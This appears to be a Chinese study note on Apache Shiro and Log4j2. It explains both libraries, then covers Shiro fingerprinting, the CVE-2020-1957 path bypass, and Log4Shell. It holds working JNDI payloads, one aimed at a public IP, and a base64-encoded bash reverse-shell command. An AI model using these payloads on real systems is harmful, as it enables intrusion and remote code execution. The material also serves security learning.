shiro和log4j
Apache Shiro 和 Apache Log4j2 都是由 Apache 软件基金会维护的开源项目,但它们并不属于中间件,而是属于不同类别的工具或库。让我们详细了解它们的功能以及它们与中间件的区别。
Apache Shiro 是一个强大的 Java 安全框架,用于处理身份验证、授权、加密和会话管理。它主要用于保护 Java 应用程序,确保只有经过认证和授权的用户才能访问应用的特定部分。
Apache Log4j2 是一个用于日志记录的 Java 库。它允许开发者在应用程序中生成日志信息,用于记录系统的运行状态、错误信息、调试数据等。这些日志数据对系统维护和问题排查非常重要。
区别中间件(apache)
- Apache Shiro 和 Apache Log4j2 都不是中间件,它们分别是一个安全框架和一个日志库。
- 中间件 提供的是跨系统或跨服务的功能,如消息传递、数据转换、事务管理等,而 Shiro 专注于安全性,Log4j2 专注于日志记录。
类比
假设我们有一家银行:
-
中间件:就像银行的后台系统,它处理各种客户请求,确保信息在不同部门之间传递,并管理复杂的流程(如贷款审批)。
-
Apache Shiro:就像银行的安保系统,确保只有经过认证的员工和客户才能进入特定区域(例如金库)。
-
Apache Log4j2:就像银行的监控系统,记录每个进出金库的人和每一笔交易,方便以后查看和分析。
所以Apache Shiro 是银行的安保,Log4j2 是监控系统,而中间件则是整个银行运营的幕后管理者。
shiro
判断网站是否使用shiro
- 找到网站登录的地方,随便输入账号密码抓包(一定要输入点击登录),看返回包是否有remembeMe字段
- 如果以上有返回remembeMe字段还可以尝试在请求包中的cookie中加入 rememberMe=1 ,来查看返回包是否有rememberMe=deleteMe字段。如果cookie字段有值则先清空
CVE-2016-4437
访问登陆框
shiro特征,爆破key
反弹shell
注入内存马
连接
Apache Shiro 认证绕过漏洞
CVE-2020-1957漏洞利用了Apache Shiro和Spring Boot对URL处理的差异性,攻击者可以构造特定的URL,绕过Shiro对Spring Boot中Servlet的权限控制,实现未授权的越权访问。影响版本为Apache Shiro < 1.5.2
访问/admin/,会被重定向到登录页面:
构造恶意请求/xxx/..;/admin/,即可绕过权限校验,访问到管理页面:
请求/xxx/..;/admin/时,如果路径解析器不正确处理..;,将其忽略或错误处理为/admin/,Shiro的路径检查就会失效,允许未经授权的访问
Log4j
Apache Log4j2 lookup JNDI
Apache Log4j2的某些版本中,攻击者可通过JNDI注入执行远程代码。这通常涉及到恶意的日志消息,允许攻击者访问服务器上的资源。
http://61.188.177.183:11328/solr/admin/cores?action=${jndi:ldap://kl2l0g.dnslog.cn}
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEyOC81MDA2MCAwPiYxCg==}|{base64,-d}|{bash,-i}" -A 192.168.56.128
-c是执行的bash命令,-A是指JNDI服务器IP
../solr/admin/cores?action=${jndi:ldap://192.168.56.128:1389/pzsdg1}